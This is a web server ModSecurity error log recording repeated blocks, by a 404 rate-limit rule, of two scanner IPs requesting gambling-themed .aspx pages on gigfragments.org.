[Mon Mar 23 20:45:42.610187 2026] [:error] [pid 38177:tid 38239] [client 145.239.195.38:32948] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "acE19nsYW-_HCI66Munp2QAAAFg"]
[Mon Mar 23 20:45:44.683865 2026] [:error] [pid 38178:tid 38262] [client 145.239.195.38:34572] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acE1-A0axWfXsVvR9uc3qQAAAJQ"]
[Mon Mar 23 20:45:46.621946 2026] [:error] [pid 38176:tid 38197] [client 145.239.195.38:34586] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "acE1-ktG4qlh1gvNjuIo_QAAAAo"]
[Mon Mar 23 20:45:48.673370 2026] [:error] [pid 38177:tid 38219] [client 145.239.195.38:34590] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "acE1_HsYW-_HCI66Munp5AAAAEQ"]
[Mon Mar 23 20:45:50.691416 2026] [:error] [pid 38306:tid 38314] [client 145.239.195.38:34598] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "acE1_jkL8qwu-hHc6BiHzwAAAQY"]
[Mon Mar 23 20:45:52.834882 2026] [:error] [pid 38176:tid 38209] [client 145.239.195.38:34610] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "acE2AEtG4qlh1gvNjuIpBgAAABY"]
[Mon Mar 23 20:45:54.741323 2026] [:error] [pid 38178:tid 38242] [client 145.239.195.38:50432] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "acE2Ag0axWfXsVvR9uc3vQAAAIA"]
[Mon Mar 23 20:45:56.706604 2026] [:error] [pid 38276:tid 38294] [client 145.239.195.38:50440] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "acE2BJoKGiI-a7oME3LqcwAAAM8"]
[Mon Mar 23 20:45:58.779719 2026] [:error] [pid 38306:tid 38314] [client 145.239.195.38:50456] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "acE2BjkL8qwu-hHc6BiH7wAAAQY"]
[Mon Mar 23 20:46:00.849171 2026] [:error] [pid 38306:tid 38325] [client 145.239.195.38:50462] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acE2CDkL8qwu-hHc6BiIAgAAARE"]
[Mon Mar 23 20:46:02.782506 2026] [:error] [pid 38306:tid 38311] [client 145.239.195.38:50468] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "acE2CjkL8qwu-hHc6BiICwAAAQM"]
[Mon Mar 23 20:46:04.875101 2026] [:error] [pid 38176:tid 38195] [client 145.239.195.38:44404] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "acE2DEtG4qlh1gvNjuIpFAAAAAg"]
[Mon Mar 23 20:46:06.816866 2026] [:error] [pid 38276:tid 38293] [client 145.239.195.38:44410] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "acE2DpoKGiI-a7oME3LqfAAAAM4"]
[Mon Mar 23 20:46:08.846708 2026] [:error] [pid 38176:tid 38202] [client 145.239.195.38:44418] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "acE2EEtG4qlh1gvNjuIpHgAAAA8"]
[Mon Mar 23 20:46:10.791363 2026] [:error] [pid 38306:tid 38322] [client 145.239.195.38:44426] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acE2EjkL8qwu-hHc6BiIIQAAAQ4"]
[Mon Mar 23 20:46:12.726069 2026] [:error] [pid 38276:tid 38298] [client 145.239.195.38:44438] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "acE2FJoKGiI-a7oME3LqjAAAANM"]
[Mon Mar 23 20:46:14.748751 2026] [:error] [pid 38178:tid 38257] [client 145.239.195.38:40204] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "acE2Fg0axWfXsVvR9uc3zAAAAI8"]
[Mon Mar 23 20:46:16.868471 2026] [:error] [pid 38176:tid 38191] [client 145.239.195.38:40212] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acE2GEtG4qlh1gvNjuIpPwAAAAQ"]
[Mon Mar 23 20:48:36.716269 2026] [:error] [pid 38306:tid 38320] [client 135.181.213.219:49518] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acE2pDkL8qwu-hHc6BiJewAAAQw"]
[Mon Mar 23 20:48:38.744530 2026] [:error] [pid 38306:tid 38309] [client 135.181.213.219:49526] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acE2pjkL8qwu-hHc6BiJhgAAAQE"]
[Mon Mar 23 20:48:40.642006 2026] [:error] [pid 38306:tid 38327] [client 135.181.213.219:61912] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "acE2qDkL8qwu-hHc6BiJjAAAARM"]
[Mon Mar 23 20:48:42.686627 2026] [:error] [pid 38178:tid 38244] [client 135.181.213.219:61924] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "acE2qg0axWfXsVvR9uc4mwAAAII"]
[Mon Mar 23 20:48:44.785101 2026] [:error] [pid 38177:tid 38219] [client 135.181.213.219:61932] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "acE2rHsYW-_HCI66Munq5wAAAEQ"]
[Mon Mar 23 20:48:46.696665 2026] [:error] [pid 38177:tid 38232] [client 135.181.213.219:61934] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "acE2rnsYW-_HCI66Munq6AAAAFE"]
[Mon Mar 23 20:48:48.762886 2026] [:error] [pid 38306:tid 38315] [client 135.181.213.219:61940] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "acE2sDkL8qwu-hHc6BiJoQAAAQc"]
[Mon Mar 23 20:48:50.816962 2026] [:error] [pid 38306:tid 38321] [client 135.181.213.219:41174] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "acE2sjkL8qwu-hHc6BiJpAAAAQ0"]
[Mon Mar 23 20:48:52.834386 2026] [:error] [pid 38176:tid 38189] [client 135.181.213.219:41178] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "acE2tEtG4qlh1gvNjuIqiAAAAAI"]
[Mon Mar 23 20:48:54.752667 2026] [:error] [pid 38276:tid 38303] [client 135.181.213.219:41194] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "acE2tpoKGiI-a7oME3LrrAAAANg"]
[Mon Mar 23 20:48:56.750726 2026] [:error] [pid 38178:tid 38258] [client 135.181.213.219:41200] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "acE2uA0axWfXsVvR9uc4qwAAAJA"]
[Mon Mar 23 20:48:58.771954 2026] [:error] [pid 38306:tid 38326] [client 135.181.213.219:41210] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "acE2ujkL8qwu-hHc6BiJxQAAARI"]
[Mon Mar 23 20:49:00.858328 2026] [:error] [pid 38276:tid 38285] [client 135.181.213.219:49208] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "acE2vJoKGiI-a7oME3LrtgAAAMY"]
[Mon Mar 23 20:49:02.923816 2026] [:error] [pid 38176:tid 38193] [client 135.181.213.219:49214] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "acE2vktG4qlh1gvNjuIquQAAAAY"]
[Mon Mar 23 20:49:04.812802 2026] [:error] [pid 38176:tid 38189] [client 135.181.213.219:49228] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "acE2wEtG4qlh1gvNjuIqvQAAAAI"]
[Mon Mar 23 20:49:05.489535 2026] [:error] [pid 38306:tid 38331] [client 145.239.195.38:58896] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acE2wTkL8qwu-hHc6BiJ3AAAARc"]
[Mon Mar 23 20:49:06.769344 2026] [:error] [pid 38177:tid 38216] [client 135.181.213.219:49240] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "acE2wnsYW-_HCI66Munq-AAAAEE"]
[Mon Mar 23 20:49:07.515419 2026] [:error] [pid 38276:tid 38296] [client 145.239.195.38:41496] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "acE2w5oKGiI-a7oME3LrugAAANE"]
[Mon Mar 23 20:49:08.716404 2026] [:error] [pid 38178:tid 38254] [client 135.181.213.219:49250] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "acE2xA0axWfXsVvR9uc4vgAAAIw"]
[Mon Mar 23 20:49:09.584423 2026] [:error] [pid 38276:tid 38298] [client 145.239.195.38:41508] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "acE2xZoKGiI-a7oME3LrvQAAANM"]
[Mon Mar 23 20:49:10.692133 2026] [:error] [pid 38177:tid 38224] [client 135.181.213.219:49294] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "acE2xnsYW-_HCI66Munq_wAAAEk"]
[Mon Mar 23 20:49:11.521568 2026] [:error] [pid 38176:tid 38208] [client 145.239.195.38:41510] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "acE2x0tG4qlh1gvNjuIq0gAAABU"]
[Mon Mar 23 20:49:12.701507 2026] [:error] [pid 38178:tid 38259] [client 135.181.213.219:49298] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "acE2yA0axWfXsVvR9uc40QAAAJE"]
[Mon Mar 23 20:49:13.449192 2026] [:error] [pid 38306:tid 38317] [client 145.239.195.38:37214] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "acE2yTkL8qwu-hHc6BiJ6AAAAQk"]
[Mon Mar 23 20:49:14.812016 2026] [:error] [pid 38276:tid 38293] [client 135.181.213.219:49314] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "acE2ypoKGiI-a7oME3Lr0AAAAM4"]
[Mon Mar 23 20:49:15.503716 2026] [:error] [pid 38177:tid 38223] [client 145.239.195.38:37228] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "acE2y3sYW-_HCI66MunrBQAAAEg"]
[Mon Mar 23 20:49:16.666320 2026] [:error] [pid 38178:tid 38251] [client 135.181.213.219:49318] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "acE2zA0axWfXsVvR9uc48AAAAIk"]
[Mon Mar 23 20:49:17.874129 2026] [:error] [pid 38178:tid 38263] [client 145.239.195.38:37230] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "acE2zQ0axWfXsVvR9uc4_AAAAJU"]
[Mon Mar 23 20:49:18.680386 2026] [:error] [pid 38306:tid 38312] [client 135.181.213.219:49324] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "acE2zjkL8qwu-hHc6BiJ8QAAAQQ"]
[Mon Mar 23 20:49:19.841702 2026] [:error] [pid 38276:tid 38286] [client 145.239.195.38:37244] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "acE2z5oKGiI-a7oME3LsFgAAAMc"]
[Mon Mar 23 20:49:20.689881 2026] [:error] [pid 38276:tid 38288] [client 135.181.213.219:41042] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "acE20JoKGiI-a7oME3LsHgAAAMk"]
[Mon Mar 23 20:49:21.764397 2026] [:error] [pid 38176:tid 38191] [client 145.239.195.38:37260] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acE20UtG4qlh1gvNjuIq6wAAAAQ"]
[Mon Mar 23 20:49:22.697820 2026] [:error] [pid 38306:tid 38319] [client 135.181.213.219:41052] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "acE20jkL8qwu-hHc6BiJ-AAAAQs"]
[Mon Mar 23 20:49:23.834539 2026] [:error] [pid 38176:tid 38192] [client 145.239.195.38:36264] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "acE200tG4qlh1gvNjuIq8wAAAAU"]
[Mon Mar 23 20:49:25.736214 2026] [:error] [pid 38276:tid 38289] [client 145.239.195.38:36272] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acE21ZoKGiI-a7oME3LsQAAAAMo"]
[Mon Mar 23 20:49:27.702773 2026] [:error] [pid 38306:tid 38328] [client 145.239.195.38:36286] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "acE21zkL8qwu-hHc6BiKAQAAARQ"]
[Mon Mar 23 20:49:29.724378 2026] [:error] [pid 38176:tid 38192] [client 145.239.195.38:36300] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "acE22UtG4qlh1gvNjuIq-wAAAAU"]
